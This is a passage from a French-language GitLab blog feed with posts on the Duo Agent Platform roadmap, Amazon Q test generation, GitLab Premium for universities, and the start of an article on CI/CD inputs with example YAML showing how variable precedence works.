<p><strong>Graphe de connaissances :</strong> exploitant l'avantage unique de GitLab en tant que système d'enregistrement pour le code source et son contexte environnant, nous construisons un graphe de connaissances complet qui non seulement cartographie les fichiers et les dépendances à travers le code source, mais rend également cette carte navigable pour les utilisateurs tout en accélérant les temps de requête IA et en aidant à augmenter la précision. Cela permet aux agents GitLab Duo de comprendre rapidement les relations à travers tout votre environnement de développement, des dépendances de code aux modèles de déploiement, débloquant des réponses plus rapides et plus précises aux questions complexes.</p>
</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png" alt="GitLab Duo Agent Platform Knowledge Graph" title="GitLab Duo Agent Platform Knowledge Graph"></p>
<ul>
<li><strong>Créer et éditer des agents et des Flows :</strong> comprenant que chaque organisation a des workflows et des exigences uniques, nous développons de puissantes capacités de création et d'édition d'agents et de Flows qui seront introduites à mesure que le Catalogue IA mûrit. Vous pourrez créer et modifier des agents et des Flows pour qu'ils fonctionnent précisément comme votre organisation, offrant une personnalisation à travers Duo Agent Platform qui permet des résultats de meilleure qualité et une productivité accrue.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png" alt="AI Catalog" title="AI Catalog"></p>
<ul>
<li>
<p><strong>Serveur MCP officiel GitLab :</strong> reconnaissant que les développeurs travaillent à travers plusieurs outils et environnements, nous construisons un serveur MCP officiel GitLab qui vous permettra d'accéder à tous vos agents et Flows via MCP. Vous pourrez vous connecter et collaborer avec vos agents et vos Flows quel que soit l'endroit oú le MCP est pris en charge, y compris depuis des outils populaires comme Claude Code, Cursor, Copilot et Windsurf, débloquant une collaboration IA transparente quel que soit votre environnement de développement préféré.</p>
</li>
<li>
<p><strong>GitLab Duo Agent Platform CLI :</strong> notre interface de ligne de commande à venir vous permettra d'invoquer des agents et de déclencher des Flows en ligne de commande, en exploitant le contexte riche de GitLab à travers l'ensemble du cycle de vie du développement logiciel : des dépôts de code et des merge requests aux pipelines CI/CD et au suivi des tickets.</p>
</li>
</ul>
<h2>Testez notre bêta publique dès aujourd'hui !</h2>
<ul>
<li>
<p><strong>Les clients GitLab Premium et Ultimate</strong> dans les environnements GitLab.com et GitLab Self-Managed utilisant GitLab 18.2 peuvent utiliser Duo Agent Platform immédiatement (les fonctionnalités bêta et expérimentales pour GitLab Duo <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">doivent être activées</a>).</p>
</li>
<li>
<p>Les utilisateurs doivent télécharger l'<a href="https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow">extension VS Code</a> ou le <a href="https://plugins.jetbrains.com/plugin/22857-gitlab">plugin JetBrains IDEs</a> et suivre notre <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat">guide pour utiliser GitLab Duo Agentic Chat</a>, y compris les <a href="https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands">commandes slash</a> Duo Chat.</p>
</li>
</ul>
<p><strong>Nouveau sur GitLab ?</strong> Tout le monde peut rejoindre notre prochaine <a href="https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html">démo Technique pour découvrir GitLab Duo Agent Platform</a> en action. Pour avoir une expérience pratique avec GitLab Duo Agent Platform, inscrivez-vous pour un <a href="https://gitlab.com/-/trials/new?glm_content=default-saas-trial&amp;glm_source=about.gitlab.com%2Fsales%2F">essai gratuit</a> aujourd'hui.</p>
<p>&lt;small&gt;<em>Cet article de blog contient des « déclarations prospectives » au sens de la Section 27A du Securities Act de 1933, tel que modifié, et de la Section 21E du Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les déclarations prospectives contenues dans cet article de blog sont raisonnables, elles sont soumises à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs qui peuvent faire que les résultats ou les issues réels soient matériellement différents de tout résultat ou issue futur exprimé ou impliqué par les déclarations prospectives.</em></p>
<p><em>Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et les issues réels diffèrent matériellement de ceux inclus ou envisagés par les déclarations prospectives contenues dans cet article de blog sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les dépôts et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser toute déclaration prospective ou à signaler tout événement ou circonstance après la date de cet article de blog ou à refléter la survenance d'événements imprévus, sauf si la loi l'exige.</em>&lt;/small&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-07-17T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Améliorer la qualité des applications avec la génération de tests alimentée par l'IA]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/enhance-application-quality-with-ai-powered-test-generation/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/enhance-application-quality-with-ai-powered-test-generation/"/>
        <updated>2025-07-15T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Vous savez à quel point la qualité des applications est essentielle pour vos clients et votre réputation. Cependant, garantir cette qualité avec des tests complets peut s’avérer complexe. Vous êtes confronté à des processus manuels chronophages, une couverture de test incohérente au sein de votre équipe, ou des problèmes qui parviennent à passer à travers les mailles du filet. Il est ainsi frustrant de voir votre notation chuter à cause d’une assurance qualité qui devient un goulot d'étranglement plutôt qu'une protection.</p>
<p>C'est là que <a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo combiné à Amazon Q</a> peut transformer votre processus d’assurance qualité. Cette fonctionnalité alimentée par l'IA peut générer automatiquement des tests unitaires complets pour votre code, accélérant considérablement votre workflow d'assurance qualité. Au lieu de passer des heures à écrire des tests manuellement, vous pouvez laisser l'IA analyser votre code et créer des tests qui garantissent une couverture optimale et une qualité constante au sein de votre application.</p>
<h2>Comment fonctionne GitLab Duo combiné à Amazon Q ?</h2>
<p>Lorsque vous travaillez sur une nouvelle fonctionnalité, vous commencez par sélectionner la classe Java que vous avez ajoutée à votre projet via une merge request. Il vous suffit de naviguer vers votre merge request et de cliquer sur l'onglet « Modifier » pour voir le nouveau code que vous avez ajouté.</p>
<p>Ensuite, vous invoquez Amazon Q en saisissant une commande d'action rapide. Tout ce que vous devez faire est de renseigner <code>/q test</code> dans la zone de commentaire du ticket. C'est aussi simple que cela : juste une barre oblique, la lettre « q », et le mot « test ».</p>
<p>Une fois que vous avez appuyé sur la touche Entrée, Amazon Q entre en action. Il analyse votre code sélectionné, comprend sa structure, sa logique et son objectif. L'IA examine les méthodes de votre classe, les dépendances, et les cas limites potentiels pour déterminer quels tests sont nécessaires.</p>
<p>En quelques instants, Amazon Q génère une couverture de tests unitaires complète pour votre nouvelle classe. Il crée des tests qui couvrent non seulement le chemin heureux (« happy path »), mais aussi les cas limites et les conditions d'erreur que vous auriez pu négliger. Les tests générés suivent les modèles et conventions existants de votre projet, garantissant qu'ils s'intègrent parfaitement à votre code source.</p>
<h2>Pourquoi utiliser GitLab Duo combiné à Amazon Q ?</h2>
<p>Vous avez commencé avec le défi suivant : maintenir des applications de haute qualité tout en gérant les contraintes de temps et les pratiques de test incohérentes. GitLab Duo combiné à Amazon Q répond à ce défi en automatisant le processus de génération de tests, garantissant une couverture de code optimale et des normes de test cohérentes. Résultat ? Les problèmes sont détectés avant le déploiement, vos applications maintiennent leur qualité, et vous pouvez développer des logiciels plus rapidement sans sacrifier la fiabilité.</p>
<p>Avantages clés de cette fonctionnalité :</p>
<ul>
<li>Une réduction du temps consacré à l'écriture de tests unitaires</li>
<li>Une couverture de tests complète sur l'ensemble de votre code source</li>
<li>Une qualité de tests constante pour tous les membres de votre équipe</li>
<li>Une détection des problèmes avant qu'ils n'atteignent l’environnement de production</li>
<li>Une accélération de votre vitesse de développement</li>
</ul>
<p>Vous souhaitez en savoir plus sur cette fonctionnalité ? Découvrez comment GitLab Duo combiné à Amazon Q transforme votre processus d'assurance qualité et consultez notre <a href="https://about.gitlab.com/partners/technology-partners/aws/" title="Page partenaire GitLab et AWS">page partenaire GitLab et AWS</a> pour obtenir des informations détaillées.</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/pxlYJVcHY28?si=MhIz6lnHxc6kFhlL&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h4>En savoir plus sur GitLab Duo combiné à Amazon Q</h4>
<ul>
<li><a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/">GitLab Duo combiné à Amazon Q : quand le DevSecOps rencontre l’IA agentique</a></li>
<li><a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/">GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS disponible à tous les utilisateurs</a></li>
<li><a href="https://about.gitlab.com/fr-fr/blog/gitlab-duo-amazon-q-transform-ideas-into-code-in-minutes/">GitLab Duo combiné à Amazon Q : créez de nouvelles fonctionnalités en quelques minutes</a></li>
<li><a href="https://about.gitlab.com/fr-fr/blog/accelerate-code-reviews-with-gitlab-duo-and-amazon-q/">GitLab Duo combiné à Amazon Q : optimisez vos revues de code</a></li>
</ul>
]]></content>
        <author>
            <name>Cesar Saavedra</name>
            <uri>https://about.gitlab.com/blog/authors/cesar-saavedra</uri>
        </author>
        <published>2025-07-15T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab Premium et l’IA : au cœur de l'enseignement supérieur]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/ai-native-gitlab-premium-transform-higher-education-software-development/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/ai-native-gitlab-premium-transform-higher-education-software-development/"/>
        <updated>2025-07-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Les établissements d'enseignement supérieur s'appuient de plus en plus sur des pratiques modernes de développement logiciel dans leurs missions pédagogiques, leurs activités de recherche et la gestion de leurs infrastructures. Face à des besoins en développement logiciel de plus en plus complexes, GitLab Premium avec <a href="https://about.gitlab.com/gitlab-duo/" title="Qu'est-ce que GitLab Duo ?">GitLab Duo</a> fournit des fonctionnalités essentielles qui répondent aux défis spécifiques du secteur universitaire, notamment en matière de développement <a href="https://about.gitlab.com/fr-fr/blog/what-is-open-source/" title="Qu'est-ce que l'open source ?">open source</a>, de collaboration à distance et de sécurité globale.</p>
<p>La plateforme DevSecOps complète alimentée par l'IA de GitLab offre des fonctionnalités qui vont bien au-delà du simple <a href="https://about.gitlab.com/fr-fr/topics/version-control/" title="Qu'est-ce que le contrôle de version ?">contrôle de version</a>. Basée sur une architecture open source et dotée de fonctionnalités avancées, GitLab Premium permet de prévenir les incidents de sécurité coûteux impliquant des données sensibles d'étudiants, propose des environnements de développement cloud accessibles aux équipes situées à différents emplacements géographiques et offre une assistance professionnelle adaptée aux systèmes critiques des établissements d'enseignement. <a href="https://about.gitlab.com/fr-fr/blog/gitlab-premium-with-duo/">GitLab Premium inclut à présent le chat et les suggestions de code, des fonctionnalités d'IA clés de GitLab Duo</a>, et ce sans frais supplémentaires.</p>
<h2>Les particularités du développement logiciel dans l'enseignement supérieur</h2>
<p>Les universités et les établissements d'enseignement supérieur opèrent dans un environnement technique particulièrement complexe. Les équipes de développement doivent faciliter une collaboration multidisciplinaire entre les services techniques et non techniques, tout en gérant de grandes quantités de données sensibles (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs).</p>
<p>La plupart des établissements doivent travailler avec des ressources informatiques limitées et prendre en charge simultanément des milliers d'utilisateurs participant à un grand nombre de projets et d'initiatives de recherche. L'intégrité exigée dans le cadre de la recherche ajoute un niveau supplémentaire de complexité, car le travail de développement doit souvent adhérer à des normes de traçabilité et de reproductibilité.</p>
<h2>Les fonctionnalités de GitLab Premium pour l'éducation</h2>
<p>GitLab Premium avec GitLab Duo offre les fonctionnalités dont l'enseignement supérieur a besoin.</p>
<h3>Amélioration de la collaboration et capacités de workflow</h3>
<p>Les projets qui impliquent différents services sont courants dans le secteur universitaire, qu'il s'agisse d'initiatives de recherche interdisciplinaire ou du développement de modules personnalisés pour des systèmes d'ERP. Ces projets complexes nécessitent une gestion sophistiquée des workflows qui ne se limite pas uniquement au simple contrôle de version.</p>
<p>GitLab Premium répond à ces défis en offrant des fonctionnalités de collaboration et de visualisation de projet, notamment des epics, des roadmaps et des tableaux Kanban avancés pour les workflows de développement Agile. En attribuant plusieurs approbateurs à certaines merge requests et branches protégées, vous garantissez une meilleure qualité du code et une plus grande responsabilisation des équipes. Ces outils permettent aux établissements de coordonner les travaux entre les différents services, tout en s'assurant que ces efforts sont alignés sur les objectifs globaux de l'institution. Il s'agit d'une condition essentielle pour gérer efficacement des initiatives technologiques qui se déroulent en plusieurs étapes à l'échelle du campus.</p>
<p>En Australie, l'équipe Digital Enablement de l'Université Deakin utilise GitLab pour créer des processus standardisés et des templates réutilisables (templates de merge request personnalisés, pipelines de compilation basés sur un template, framework de sécurité et de conformité) qu'elle partage avec la communauté universitaire et les développeurs citoyens. Cette approche favorise l'innovation et renforce la collaboration à la fois au sein de l'université et avec ses partenaires stratégiques. « Nous voulions depuis longtemps créer une communauté et l'aider à se développer, mais sans succès, jusqu'à l'adoption de cet outil », confie Aaron Whitehand, Director of Digital Enablement à l'Université Deakin.</p>
<p><strong>Découvrez comment l'<a href="https://about.gitlab.com/customers/deakin-university/">Université Deakin</a> utilise GitLab pour renforcer la collaboration et la productivité, notamment grâce à une réduction de 60 % des tâches manuelles.</strong></p>
<h3>Protection et gouvernance avancées des données</h3>
<p>Les établissements d'enseignement génèrent et gèrent des quantités considérables de données (dossiers des étudiants, informations financières, résultats de recherche, évaluations des professeurs, et bien plus encore). La sécurité de ces informations est un enjeu majeur. La <a href="https://universitybusiness.com/in-just-3-months-this-data-breach-has-compromised-nearly-900-institutions/">faille de sécurité MOVEit</a> de 2023, qui a duré trois mois et compromis environ 900 établissements d'enseignement, a exposé les informations sensibles de plus de 62 millions de personnes. Cet exemple illustre l'importance cruciale d'intégrer des mesures de sécurité proactives directement dans les workflows de développement dans ce secteur.</p>
<p>Le scanning des vulnérabilités bloque les sorties de nouvelles versions de code qui contiennent des risques de sécurité afin de permettre aux établissements de mettre en place et de faire respecter des protocoles de gouvernance qui protègent ces données sensibles. Cette fonctionnalité aide les universités à mettre en œuvre des contrôles d'accès et des structures d'autorisation adaptés aux bases de données de recherche. Ce framework sécurisé garantit que seuls les chercheurs autorisés disposent des droits d'accès nécessaires et assure une protection stricte sans entraver la collaboration entre les différentes équipes.</p>
<p>La plateforme de GitLab est conçue dès le départ pour garantir la sécurité de votre code source. Les dépôts <a href="https://about.gitlab.com/fr-fr/blog/what-is-git/" title="Qu'est-ce que Git ?">Git</a> évolutifs, des contrôles d'accès granulaires et des fonctionnalités de conformité intégrées éliminent les goulots d'étranglement dans votre workflow tout en répondant aux exigences de sécurité. GitLab Premium fournit des fonctionnalités de suivi des audits et de conformité essentielles, particulièrement adaptés aux environnements éducatifs. Les pistes d'audit complètes consignent sous forme de logs l'ensemble des modifications apportées au code, les tentatives d'accès et les modifications du système, en incluant les horodatages ainsi que les utilisateurs concernés. La documentation exhaustive sur la gestion des modifications garantit une traçabilité optimale (auteur, date et motif), essentielle pour garantir l'intégrité de la recherche. Quant à l'audit du contrôle d'accès, il permet de surveiller l'accès au dépôt et les changements d'autorisations.</p>
<h3>Développement cloud et collaboration à distance</h3>
<p>Les établissements d'enseignement modernes requièrent des environnements de développement flexibles, adaptés aux besoins des équipes situées à différents emplacements géographiques, aux scénarios d'apprentissage à distance et aux diverses exigences techniques.</p>
<p>GitLab Premium offre donc les avantages suivants :</p>
<ul>
<li><a href="https://docs.gitlab.com/user/workspace/">Workspaces GitLab</a> : environnements de développement cloud accessibles depuis n'importe quel appareil</li>
<li><a href="https://docs.gitlab.com/user/project/web_ide/">Intégration au Web IDE</a> : codage basé sur le navigateur avec une intégration complète des fonctionnalités de GitLab</li>
<li><a href="https://about.gitlab.com/blog/build-and-run-containers-in-remote-development-workspaces/">Développement conteneurisé</a> : environnements de développement cohérents et reproductibles, quelle que soit la nature du projet ou le groupe d'utilisateurs</li>
</ul>
<p>Ces fonctionnalités sont particulièrement utiles pour prendre en charge les modèles d'apprentissage à distance et hybrides. Elles permettent aux étudiants et aux chercheurs d'accéder à des environnements de développement standardisés, indépendamment de leur emplacement physique ou des contraintes matérielles locales.</p>
<h3>Assistance professionnelle pour les systèmes critiques</h3>
<p>Les petites équipes informatiques des établissements d'enseignement prennent souvent en charge des infrastructures importantes et complexes avec des ressources minimales. Elles doivent parfois s'appuyer sur des forums communautaires, mais la fiabilité des réponses n'est pas toujours garantie. Par ailleurs, cette approche n'est pas efficace pour les structures de grande envergure. C'est pourquoi GitLab Premium inclut une assistance professionnelle dédiée, qui permet de résoudre les problèmes plus rapidement et d'obtenir de l'aide pour les mises à niveau pendant les périodes critiques, telles que les inscriptions aux cours ou les échéances de recherche.</p>
<p>Cette assistance réduit au maximum les temps d'arrêt des services critiques et garantit la continuité des opérations pendant les périodes de pointe, ce qui donne aux services informatiques surchargés la fiabilité dont ils ont besoin pour les systèmes essentiels.</p>
<h3>Architecture open source, performances d'entreprise</h3>
<p>Les logiciels open source sont développés de manière collaborative et publique, le code source pouvant être librement consulté, modifié et distribué par tous. Ce modèle de développement favorise l'innovation grâce aux contributions de la communauté et garantit un fonctionnement homogène des logiciels. La base open source de GitLab est en parfaite adéquation avec les valeurs fondamentales des établissements d'enseignement en matière de collaboration, de transparence et de contribution communautaire. Les fonctionnalités de GitLab Premium enrichissent cette base avec des capacités de niveau entreprise et offrent parallèlement la possibilité de contribuer à l'écosystème open source.</p>
<p>Voici les principaux avantages de l'open source :</p>
<ul>
<li><strong>Une transparence totale</strong> : visibilité complète sur les fonctionnalités de la plateforme et les mesures de sécurité. Vous savez précisément comment le logiciel fonctionne.</li>
<li><strong>Une contribution de la communauté</strong> : possibilité de contribuer à améliorer l'outil au bénéfice de la communauté au sens large et de profiter de l'expertise d'une communauté mondiale de développeurs et développeuses.</li>
<li><strong>Une indépendance vis-à-vis des fournisseurs</strong> : réduction du risque de blocage avec des alternatives open source et liberté de modifier le code au besoin.</li>
<li><strong>Des opportunités de co-création</strong> : développement collaboratif avec la communauté, y compris d'autres établissements universitaires, pour concevoir des solutions partagées.</li>
</ul>
<h3>Assistant d’IA dédié au développement logiciel</h3>
<p>GitLab Premium avec GitLab Duo intègre de puissantes capacités d'IA directement dans le workflow de développement, avec notamment :</p>
<ul>
<li>Les <a href="https://docs.gitlab.com/user/project/repository/code_suggestions/" title="suggestions de code GitLab">suggestions de code</a>, qui fournissent une complétion et des suggestions de code en temps réel, pour aider les équipes de développement à écrire du code plus rapidement et plus efficacement.</li>
<li>Le <a href="https://docs.gitlab.com/user/gitlab_duo_chat/" title="GitLab Duo Chat">chat</a>, qui permet d'obtenir des réponses instantanées aux questions posées, de résoudre les problèmes et d'accéder à la documentation directement dans l'environnement GitLab.</li>
</ul>
<p>Ces outils d'IA améliorent considérablement la productivité, réduisent les erreurs et renforcent la collaboration. C'est précisément la raison pour laquelle GitLab Premium est un atout encore plus précieux pour les équipes de développement logiciel dans l'enseignement supérieur.</p>
<h3>La transparence comme principe fondateur</h3>
<p>Les établissements d'enseignement supérieur traitent des données particulièrement sensibles, qu’il s’agisse de dossiers étudiants, de résultats de recherche, de travaux universitaires confidentiels ou d'informations liées à des financements publics.</p>
<p>Le <a href="https://about.gitlab.com/fr-fr/ai-transparency-center/" title="Centre de transparence de l'IA de GitLab">Centre pour la transparence de l'IA de GitLab</a> démontre notre engagement en faveur de la transparence, de la responsabilisation, de la protection des données et de la propriété intellectuelle des clients et fournit les garanties de confidentialité dont les établissements d'enseignement ont besoin.</p>
<p>Nous avons lancé ce centre afin d'aider nos clients, notre communauté et nos équipes à mieux comprendre comment GitLab applique les principes d'éthique et de transparence dans ses fonctionnalités alimentées par l'IA.</p>
<p>Notre documentation publique détaille l'ensemble des mesures mises en place pour protéger les données et la propriété intellectuelle de votre établissement. Les <a href="https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/">principes d'éthique IA pour le développement de produits de GitLab</a> nous guident dans la création et l'amélioration de nos fonctionnalités d'IA, afin d'aider les établissements d'enseignement supérieur à tirer parti des promesses de l'IA, tout en conservant un contrôle total et une surveillance complète de leurs actifs les plus précieux.</p>
<h2>Découvrez GitLab Premium dès aujourd'hui</h2>
<p>Pour les établissements d'enseignement, GitLab Premium avec GitLab Duo représente un investissement technologique stratégique, qui combine les avantages du développement open source avec des fonctionnalités d'IA native de niveau entreprise. En fournissant des outils de qualité professionnelle prêts à relever les défis propres à l'environnement technique complexe de l'enseignement supérieur, GitLab Premium avec GitLab Duo aide les établissements à corriger les failles de sécurité, à rationaliser les workflows de développement et à maintenir une infrastructure fiable dont dépendent les opérations universitaires et de recherche.</p>
<p>Découvrez <a href="https://about.gitlab.com/fr-fr/solutions/public-sector/" title="GitLab pour le secteur public">GitLab pour le secteur public</a> ou <a href="https://about.gitlab.com/fr-fr/sales/" title="Contacter les équipes de GitLab">contactez notre équipe commerciale</a> dès aujourd'hui.</p>
]]></content>
        <author>
            <name>Jessica Hurwitz</name>
            <uri>https://about.gitlab.com/blog/authors/jessica-hurwitz</uri>
        </author>
        <author>
            <name>Elisabeth Burrows</name>
            <uri>https://about.gitlab.com/blog/authors/elisabeth-burrows</uri>
        </author>
        <published>2025-07-07T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Intrants CI/CD : transmission de paramètres aux pipelines]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/"/>
        <updated>2025-07-07T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Les intrants CI/CD représentent une avancée majeure dans la gestion des
pipelines.</p>
<p>Spécialement conçus pour passer des paramètres typés, validés et sécurisés, ils instaurent des contrats explicites et une sécurité renforcée entre les composants de vos workflows et résolvent enfin les limites structurelles auxquelles les équipes de développement font face depuis des années avec les variables traditionnelles.</p>
<p>Les variables CI/CD ont été détournées de leur usage initial. Historiquement, elles étaient conçues pour stocker des paramètres de configuration, et non comme un mécanisme sophistiqué de transmission de paramètres dans le cadre de workflows complexes. Ce décalage a entraîné son lot de problèmes : manque de fiabilité, failles de sécurité, complexité croissante en termes de maintenance.</p>
<p>Dans cet article, découvrez pourquoi les intrants CI/CD sont désormais l'approche recommandée pour passer des paramètres à vos pipelines, ainsi que leurs nombreux avantages (sécurité des types, prévention des échecs de pipeline, élimination des conflits entre variables, automatisation simplifiée). Des exemples concrets illustreront leur mise en œuvre et les problèmes qu'ils résolvent, dans l'espoir de vous convaincre d'abandonner les solutions de contournement à base de variables au profit d'une approche plus fiable et structurée.</p>
<h2>Les coûts cachés de la transmission de paramètres via des variables</h2>
<p>Utiliser des variables pour passer des paramètres aux pipelines peut sembler pratique, mais cette approche peut être source de frustration et poser de nombreux risques.</p>
<p><strong>Absence de validation des types</strong></p>
<p>Les variables sont des chaînes de caractères. Sans validation des types, un pipeline peut recevoir accidentellement une chaîne à la place d'une valeur booléenne ou d'un nombre et entraîner des échecs inattendus. Un workflow de déploiement de production critique peut par exemple échouer quelques heures après son démarrage, car une vérification booléenne dans une variable n'a pas été transmise correctement.</p>
<p><strong>Mutabilité pendant l'exécution</strong></p>
<p>Les variables peuvent être modifiées à tout moment lors de l'exécution du pipeline, ce qui génère des comportements imprévisibles lorsque plusieurs jobs tentent de modifier les mêmes valeurs. Par exemple, deploy_job_a définit <code>DEPLOY_ENV=staging</code>, mais deploy_job_b attribue la valeur <code>production</code> à <code>DEPLOY_ENV</code>.</p>
<p><strong>Risques de sécurité</strong></p>
<p>Les variables utilisées comme de simples paramètres héritent souvent des mêmes autorisations d'accès que les secrets sensibles, ce qui entraîne des problèmes de sécurité. Il n'existe aucun contrat définissant les paramètres attendus par un pipeline, leurs types ou leurs valeurs par défaut. Ainsi, un paramètre apparemment anodin comme <code>BUILD_TYPE</code> peut soudainement se retrouver à tort avec un accès à des secrets de production simplement parce que les variables ne font pas intrinsèquement la distinction entre les paramètres et les données sensibles.</p>
<p>Pire encore, les erreurs ne sont détectées qu'au moment de l'exécution du pipeline, parfois après plusieurs minutes, voire plusieurs heures. Une simple variable mal configurée peut ainsi provoquer l'échec d'un pipeline, avec à la clé la perte de précieuses ressources <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que le CI/CD ?">CI/CD</a> et une perte de temps pour l'équipe de développement. Pour limiter ces risques, les équipes recourent alors à des solutions de contournement, telles que des scripts de validation maison, une documentation excessive ou des conventions de nommage complexes, autant de tentatives pour renforcer du mieux possible la fiabilité de la transmission de paramètres basée sur des variables.</p>
<p>Nombreux sont les utilisateurs qui ont exprimé le besoin de disposer de fonctionnalités de débogage local pour tester les configurations de leurs pipelines avant le déploiement. Bien que cette solution semble logique, elle se révèle rapidement inefficace dans la pratique. Les workflows CI/CD s'appuient sur des dizaines de systèmes tiers (fournisseurs de services cloud, dépôts d'artefacts, scanners de sécurité, cibles de déploiement), qui ne peuvent tout simplement pas être répliqués localement. Même dans cette éventualité, la complexité rendrait les environnements de test locaux presque impossibles à maintenir. Face à ces limites, une remise en question s'imposait. Au lieu de chercher à mieux tester les pipelines localement, nous avons cherché à comprendre comment nous pouvions éviter les erreurs de configuration liées à la transmission de paramètres via des variables avant même l'exécution du workflow d'automatisation CI/CD.</p>
<h2>Le casse-tête de la priorité des variables</h2>
<p>Le système de variables de GitLab comprend plusieurs <a href="https://docs.gitlab.com/ci/variables/#cicd-variable-precedence">niveaux de priorité</a> qui offrent une grande flexibilité en fonction des cas d'utilisation rencontrés. Bien que ce système soit utile dans de nombreux scénarios, comme permettre aux administrateurs de définir des valeurs par défaut à l'échelle de l'instance ou du groupe tout en autorisant les projets individuels à les remplacer si nécessaire, il peut créer des difficultés lors de la construction de composants de pipeline réutilisables.</p>
<p>Lorsque vous développez des composants ou des templates destinés à être partagés dans différents projets et groupes, la hiérarchie de priorité des variables peut rendre leur comportement moins prévisible. Par exemple, un template qui fonctionne parfaitement dans un projet peut produire des résultats différents dans un autre, simplement parce que certaines variables ont été redéfinies au niveau du groupe ou de l'instance et ne sont pas visibles dans la configuration locale du pipeline.</p>
<p>Lorsque vous combinez plusieurs templates, il devient alors difficile de savoir quelles variables sont définies ainsi qu'où et comment elles interagissent.</p>
<p>En outre, les auteurs de composants doivent non seulement documenter les variables que leur template utilise, mais également identifier les risques de conflits avec des variables susceptibles d'être définies à des niveaux de priorité plus élevés.</p>
<h3>Exemples de hiérarchie de priorité des variables</h3>
<p><strong>Fichier de pipeline principal (<code>.gitlab-ci.yml</code>) :</strong></p>
<pre><code class="language-yaml">
variables:
  ENVIRONMENT: production  # Top-level default for all jobs
  DATABASE_URL: prod-db.example.com

include:
  - local: 'templates/test-template.yml'
  - local: 'templates/deploy-template.yml'
</code></pre>
<p><strong>Template de test (<code>templates/test-template.yml</code>) :</strong></p>
<pre><code class="language-yaml">
run-tests:
  variables:
    ENVIRONMENT: test  # Job-level variable overrides the default
  script:
    - echo &quot;Running tests in $ENVIRONMENT environment&quot;  
    - echo &quot;Database URL is $DATABASE_URL&quot;  # Still inherits prod-db.example.com!
    - run-integration-tests --env=$ENVIRONMENT --db=$DATABASE_URL
    `# Issue: Tests run in &quot;test&quot; environment but against production database`
</code></pre>
<p><strong>Template de déploiement (<code>templates/deploy-template.yml</code>) :</strong></p>
<pre><code class="language-yaml">
deploy-app:
  script:
    - echo &quot;Deploying to $ENVIRONMENT&quot;  # Uses production (top-level default)
    - echo &quot;Database URL is $DATABASE_URL&quot;  # Uses prod-db.example.com
    - deploy --target=$ENVIRONMENT --db=$DATABASE_URL
    # This will deploy to production as intended
</code></pre>
<p><strong>Défis dans cet exemple :</strong></p>
<ol>
<li>
<p>Héritage partiel : le job de test hérite bien de <code>ENVIRONMENT=test</code>, mais conserve <code>DATABASE_URL=prod-db.example.com</code>.</p>
</li>
<li>
<p>Coordination complexe : les auteurs de templates doivent connaître l'ensemble des variables définies en amont pour éviter les conflits.</p>
</li>
<li>
<p>Remplacement imprévisible : lorsqu'une variable définie au niveau du job porte le même nom qu'une variable globale, elle la remplace — un comportement qui peut être difficile à anticiper.</p>
</li>
<li>
<p>Dépendances cachées : les templates dépendent des noms de variables définis dans le pipeline principal.</p>
</li>
</ol>
<p>Pour relever ces défis, GitLab a introduit les <a href="https://docs.gitlab.com/ee/ci/inputs/" title="Qu'est-ce qu'un intrant CI/CD ?">intrants CI/CD</a>, une solution dédiée à la transmission des paramètres aux pipelines, qui offre des paramètres typés, validés dès la création du pipeline et non au moment de son exécution.</p>
<h2>Principes de base des intrants CI/CD</h2>
<p>Les intrants CI/CD permettent de définir des paramètres typés pour des pipelines réutilisables, avec une validation intégrée dès leur création. Conçus spécifiquement pour fournir des valeurs au moment de l'exécution du pipeline, ils instaurent un contrat explicite entre le pipeline et ses utilisateurs : chaque paramètre attendu y est clairement défini, ainsi que son type et ses contraintes.</p>
<h3>Flexibilité et portée de la configuration</h3>
